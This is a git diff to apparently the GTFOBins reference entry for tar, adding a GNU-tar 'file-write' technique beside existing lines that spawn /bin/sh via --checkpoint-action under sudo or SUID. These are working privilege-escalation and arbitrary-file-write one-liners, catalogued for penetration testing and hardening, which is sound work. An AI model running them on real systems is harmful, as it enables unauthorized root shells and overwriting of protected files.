diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
index e823db5..f2afc76 100644
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@@ -6,4 +6,11 @@ functions:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
     - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
+  file-write:
+    - description: This only works for GNU tar.
+      code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo data > "$TF"
+        tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
 ---